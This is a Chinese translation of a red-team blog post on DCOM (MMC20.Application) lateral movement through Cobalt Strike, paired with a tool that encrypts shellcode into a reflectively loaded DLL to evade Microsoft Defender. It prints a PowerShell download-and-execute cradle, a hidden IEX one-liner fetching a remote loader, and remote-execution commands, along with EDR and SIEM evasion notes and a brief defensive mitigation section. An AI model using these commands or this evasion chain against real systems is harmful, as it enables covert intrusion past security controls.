介绍
在研究横向移动技术时,我偶然发现了Raphael Mudge(Cobalt Strike的创始人)的一篇文章。他详细介绍了为 Matt Nelson 的MMC20 编写攻击脚本。应用横向移动技术。
阅读那篇文章促使我为 Cobalt Strike 制作自己的基于 DCOM 的横向移动工具。但考虑到 Raphael Mudge 已经使用 Aggressor Script 实现了这一点,我需要做一些不同的事情,因此在此基础上添加了防病毒规避功能。
关于 Cobalt Strike C2
Cobalt Strike 是一个商业命令与控制 (C2) 框架,全球许多红队和网络安全咨询公司都在使用。从高层次来看,C2 框架背后的想法是允许管理红队活动。对我来说,它的最佳功能是能够保持对受害组织网络的有序视图。
我的同事 Neil Lines(@myexploit2600)写了一篇关于 Cobalt Strike 的精彩介绍博客文章,如果您是新手,我建议您阅读一下。
虽然 Cobalt Strike 非常有用并且具有丰富的可能性,但它提供的一些“开箱即用”工具并未考虑到红队的当前操作安全 (OPSEC) 需求。
因此,目前,如果试图在红队交战时保持隐秘,那么拥有自己的定制工具来躲避现有的防御解决方案(如 SIEM、AV 和 EDR)是很有用的。
在创建此类工具时,使用最新研究的技术很有用。这些可以通过认证来学习,也可以在MITRE ATT&CK等网站上阅读。或者,如果你很幸运,你可以向@_EthicalChaos_等才华横溢的人请教。
逃避 Microsoft Defender – 反射式 DLL 注入 / PE 注入
通过使用Msfvenom等工具对包含有效负载的可执行文件进行编码,可以绕过某些 AV 。或者,使用Shellter或Veil等工具创建能够绕过常见防病毒解决方案的自定义可移植可执行文件 (PE)。这些工具还允许您将有效负载注入合法软件,以更好地掩盖 AV 中的恶意代码。
这些工具可以成功完成任务,但是如果多次使用相同的二进制文件,则很有可能将其添加到现有的 AV/EDR 签名数据库中。使用VirusTotal等网站测试可执行文件的检测率也可能会加快将恶意软件添加到 AV 签名数据库的过程。一般来说,目前将二进制文件上传到目标上有点不必要的风险,因此我想研究使用不需要传输到目标磁盘的恶意软件进行横向移动的方法。
Cobalt Strike 的优点在于,它能够在目标内存中执行 .NET 二进制文件 ( execute-assembly ),而无需传输它。按照同样的想法,我希望能够将恶意软件传输到目标,该恶意软件将在内存中执行,并避免由于它存在于磁盘上而导致不必要地触发 AV。我偶然发现了一种称为反射 DLL 注入的技术,并认为它真是天才。
反射式 DLL 注入涉及将 .NET 动态链接库 (DLL) 加载到目标内存中。可以使用诸如 powershell 之类的常用工具来加载 DLL,并允许执行 DLL 中可用的方法。这会导致无盘恶意软件执行。我喜欢这个概念,但是,执行此类任务的准备工作有点冗长,因此我的程序员本能开始发挥作用,我想为什么不创建一些自动化呢。
您可以在此处阅读有关反射 DLL 注入的更多信息。
https://www.andreafortuna.org/2017/12/08/what-is-reflective-dll-injection-and-how-can-be-detected/
此处有更多关于不同恶意软件注入技术的信息。
https://medium.com/csg-govtech/process-injection-techniques-used-by-malware-1a34c078612c
AV_Bypass_Framework_V3
执行反射式 DLL 注入时,需要两个组件。一个 shellcode 运行器和一个加载器。加载器通常是将恶意 DLL 下载到目标内存中并使用 Assembly.Load () 从 DLL 中调用所需函数的代码 - Assembly.Load()是 .NET 框架中用于动态加载内存模块的内置功能。运行器通常是 PE,在本例中是恶意 DLL,它将通过加载器加载到目标内存中并执行以启动所需的有效负载。
现在,一些背景信息已经介绍完毕,我将回过头来谈谈我开发的内容。从名称就可以看出,我已经对该工具进行了几次迭代。其想法是自动创建恶意 DLL,然后将其注入目标内存中,以启动有效载荷。在我的案例中,我想专注于 Cobalt Strike 信标有效载荷,但理论上它应该适用于任何 C# 格式的 shellcode(例如0x90、0xFE等)。
AV_Bypass_Framework_V3工具接收一个 C# 格式的 shellcode 的 base64 编码字符串,并输出一个可用于恶意目的的 DLL 和 PowerShell 加载程序。具体操作如下:
AV_Bypass_Framework_V3.exe <PATH_TO_B64_SHELLCODE_FROM_CSSG_CNA>
使用 Cobalt Strike 时,有一个方便的 Aggressor Script CSSG,它可以扩展团队服务器的有效负载生成功能,这样您就可以为无阶段或分阶段侦听器生成 C# 格式的 shellcode。要将该输出与 AB_Bypass_Framework_V3 工具一起使用,您需要做的就是对生成的 shellcode 进行 base64 编码,以便可以将其作为参数输入到工具中。(有关如何重现此方面的可视化步骤可以在下面的 DCOM 部分中找到)
它采用 base64 编码的 shellcode,对其进行 AES-128 位加密,将 AES 加密的 shellcode 传递到即将创建的 DLL 中,并编译 .NET 类库,以便将恶意 DLL 保存在执行 AV_Bypass_Framework_V3 的文件夹中。以下代码可帮助您看到这一点:
此部分处理 base64 编码的 C# 格式的 shellcode。如您所见(第 151-160 行),我检查包含 base64 shellcode 的命令行参数文件是否存在。然后第 175 行从文件中读取 base64 有效负载:
要执行 AES-128 位加密,您首先需要导入 System.Security.Cryptography 库。然后,您可以生成一个 IV 和一个密钥,它们将用作 AES 加密和解密过程的一部分(第 162-172 行)。然后,我们可以调用 AES 加密方法并通过它运行我们的有效负载字符串,这将生成一个加密字节数组(方法调用 - 第 180 行/加密方法(第 70-101 行))
最后,我们可以将 AES-128 位加密的 shellcode、AES IV 和 AES 密钥传入 DLL 骨架(第 201-204 行)。DLL 骨架需要包含处理AES 解密的代码(第 249-283 行)。一旦 DLL 骨架中定义了 AES 解密方法,我们就可以调用 AES 解密方法(位于 DLL 中),对 AES 解密输出进行 base64 解码,并将纯 C# 格式的 shellcode 加载到字节数组中(第 301-307 行)。
下一阶段涉及在托管进程(目标上的 PowerShell)内创建内存空间,以执行反射式 DLL 注入。这可以通过 kernel32.dll VirtualAlloc 函数完成,使用 Marshall.Copy 函数将我们的 shellcode 复制到创建的空间中,并使用 CreateThread 函数创建一个新线程。调用的最后一个 kernel32.dll 函数是 WaitForSingleObject,它将无限期地运行线程(直到用户终止目标的 PowerShell 进程或直到攻击者退出 Cobalt Strike Beacon)(第 313-317 行)。最后,我们可以在应用程序中编译 DLL 骨架(第 322-330 行)。
如上所述,运行 AV_Bypass_Framework_V3 工具后,将与 PowerShell 加载程序一起创建 DLL:
$data = (New-Object System.Net.WebClient).DownloadData('<path_to_CS_teamserver_hosted_AutoGen.dll>');
$assem = [System.Reflection.Assembly]::Load($data);
$class = $assem.GetType("ClassLibrary2.l33t");
$method = $class.GetMethod("runner");
$method.Invoke(0, $null);
在此阶段,如果您没有将其与 Cobalt Strike 或 DCOM_AV_EXEC 工具配对,则可以简单地将恶意 DLL(运行器)和 cradle.ps1 脚本(加载器)托管在 Web 服务器上。将 cradle.ps1(加载器)指向您托管的 DLL URL(参见上文 - < path_to_CS_teamserver_hosted_AutoGen.dll>)。一旦您在目标上找到攻击媒介,您就可以启动您的有效载荷(反向 shell/C2 代理/等),只需使用 PowerShell IEX 命令即可,该命令将下载并执行您的加载器,然后执行您的 DLL。以下两种方法:
iex(new-object net.webclient).downloadstring('https://YOUR_WEBSERVER_IP/cradle.ps1')
powershell.exe -w hidden -nop -exec Bypass -enc <encoded_b64_iex_command>
所以你可能想知道,这如何绕过 AV(在本例中是 Microsoft Defender)?好吧,我相信这是多种因素的结合。以下几点非常重要:1)显而易见的是,避免在磁盘上放置任何东西。默认情况下,具有实时扫描功能的 AV 解决方案会分析文件是否存在恶意内容。2)加密或编码 shellcode 大有裨益,因为纯文本格式的恶意 shellcode 会被检测到。无论是在内存中还是在磁盘上。3)找到一种方法,只在特定的函数调用上运行恶意函数,而不是作为主方法的一部分——这有助于欺骗启发式方法
接下来,让我们看看我们可以用什么来链接上述工具。
分布式通信组件
分布式组件对象模型(DCOM) 是一种编程结构,允许计算机通过网络在另一台计算机上运行程序,就像程序在本地运行一样。这是 Microsoft 的专有软件组件,允许 COM 对象通过网络相互通信。
DCOM 集成到 Windows 操作系统中,允许许多 Windows 服务进行通信 - 例如 Microsoft 管理控制台 (MMC) 或 Microsoft Office 产品。由于 DCOM 可以在其他计算机上运行程序,黑客可以利用它通过您的网络进行横向移动攻击(如 Matt Nelson 和 Raphael Mudge 所展示的),从而获取更多数据。这种活动很难被发现。这就是它引起我注意的原因。
由于我想将 AV 规避功能添加到现有的 DCOM 横向移动功能中,而且我不太喜欢 Sleep(Cobalt Strike Aggressor 脚本语言)的外观,因此我决定默认使用老旧的 C#。DCOM_AV_EXEC 工具可在此处找到。
本质上,一旦你可以访问加入域的计算机,DCOM 横向移动就相当容易了。以下是一些可用于枚举支持 DCOM 的应用程序的PowerShell 命令:
Get-CimInstance -class Win32_DCOMApplication | select appid,name
然后还可以列出 DCOM 应用程序支持的方法,如下所示:
$obj = [activator]::CreateInstance([type]::GetTypeFromCLSID("<CLSID>"))
$obj | get-member
我们将重点关注Matt Nelson的发现,他发现最有趣和最常见的应用程序之一是 Microsoft 管理控制台 (MMC) - 它有一个名为“MMC20.Application”的类。此应用程序类带有Document.ActiveView下名为ExecuteShellCommand() 的方法。他发现,作为管理员,您可以使用[activator]::CreateInstance([type]::GetTypeFromProgID远程与 DCOM 和 PowerShell 进行交互。
因此,您可以简单地在远程主机上运行命令(前提是具有本地管理员访问权限):
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "<target>")).Document.ActiveView.
ExecuteShellCommand("c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe", $null,"<some_powershell_command>", "7")
因此,我采用了 Matt Nelson 的发现,并将其与 AV_Bypass_Framework_V3 的功能结合起来,从而获得了一个可以绕过 Microsoft Defender 的 DCOM 横向移动工具。DCOM_AV_EXEC 工具会执行上述命令,并检查您是否已向 PowerShell 加载程序提供了 URL,该加载程序是作为 AV_Bypass_Framework_V3 的一部分创建的(并由您修改 - 不要忘记将 URL 添加到运行器中)。
我们可以观察到 AV_DCOM_EXEC 和 AV_Bypass_Framework_V3 通过 Cobalt Strike 等 C2 的完整组合使用情况:
示例用法 – TCP 侦听器有效负载:
使用 CCSG 创建 Shellcode – 编码:b64 | 格式:0x90, 0x8e,..
将 CCSG 输出保存到文件并在 Windows 上通过 AV_Bypass_Framework_V3(需要先编译)运行它:
AV_Bypass_Framework_V3.exe <PATH_TO_B64_SHELLCODE_FROM_CSSG_CNA>
将输出的 cradles.ps1 和 AutoGen.dll 复制到 Cobalt Strike 团队服务器主机。将 AutoGen.dll 托管在团队服务器中(主机文件)。
接下来编辑 cradle.ps1 文件以指向团队服务器托管的 AutoGen.dll 文件 URL:
在 Cobalt Strike 团队服务器上托管 cradle.ps1 文件:
Cobalt Strike 站点现在应该显示两个托管文件:
执行。编译并将 DCOM_AV_EXEC 上传到 Cobalt Strike 团队服务器。然后:
OPSEC 注意事项
据我所知,大多数 EDR 产品不会记录 DCOM 横向移动。但是,此后在目标上执行的操作很可能会触发 EDR 解决方案。这是因为许多 EDR 解决方案都设置为监视 kernel32.dll 访问的 NTDLL.DLL(我们使用 kernel32.dll 函数在 AV_Bypass_Framework_V3 中执行进程注入)。一些 AV 产品和 EDR 解决方案还会扫描内存空间以查找恶意代码。有几种方法可以通过将 EDR 从进程中解钩来绕过 EDR NTDLL.DLL 监视,也有几种方法可以躲避内存扫描(通过在 RWX 和 RW 之间交换注入的 DLL 内存空间),但这两种方法都超出了本博文的范围。
被抓住的最大风险是通过使用 SIEM 解决方案的 SOC。受害者主机svchost 在通过 DCOM MMC20.Application 类执行 PowerShell 命令后生成 mmc.exe 。还可以检测到通过 Excel 等 Office 应用程序进行的 DCOM 横向移动,如此处所述。
预防
为了缓解这种攻击,防御者可以禁用 DCOM,阻止工作站之间的 RPC 通信,并寻找从mmc.exe衍生的子进程。Windows 防火墙默认会阻止此技术(因此这也是启用基于主机的防火墙的另一个原因)。作为额外的缓解措施,请确保“Microsoft 管理控制台”不是启用的规则。
防止通过 Office 应用程序进行横向移动需要禁用 Office COM 对象。
该工具的局限性
我不确定这些工具与第三方商业 AV/EDR/SIEM 解决方案相比表现如何。具有内存扫描功能的防病毒解决方案将来可能会将我的 DLL 标记为恶意,并将其添加到签名数据库中。一种可能绕过该问题的方法是针对 AV_Bypass_Framework_V3 生成的每个 DLL 实施独特的混淆。
DCOM_AV_EXEC 工具目前仅支持通过MMC20.Application类进行横向移动。您可以修改现有代码以支持它们。
其他可能的技术详见这里和这里:
-
https://www.cybereason.com/blog/dcom-lateral-movement-techniques
-
https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
参考文献及特别致谢
-
@myexploit2600 - https://twitter.com/myexploit2600?lang=en
-
@_EthicalChaos_ - https://twitter.com/_EthicalChaos_
-
AV_Bypass_Framework_V3工具https://gitlab.com/theepicpowner/av_bypass_framework_v3
-
https://www.purpl3f0xsecur1ty.tech/2021/03/30/av_evasion.html(@purpl3f0xsec)
-
https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/(Raphael Mudge – Cobalt 联合创始人)
-
https://medium.com/@carlosprincipal1/how-to-bypass-antivirus-av-2020-easy-method-69749892928b
-
https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/
-
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
-
https://www.kitploit.com/2021/01/cssg-cobalt-strike-shellcode-generator.html
-
https://medium.com/@carlosprincipal1/how-to-bypass-antivirus-av-2020-easy-method-69749892928b
-
https://pinvoke.net
DCOM abuse and lateral movement with Cobalt Strik
https://www.pentestpartners.com/security-blog/dcom-abuse-and-lateral-movement-with-cobalt-strike/
原文始发于微信公众号(Ots安全):利用 Cobalt Strike 进行 DCOM 滥用和横向移动
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论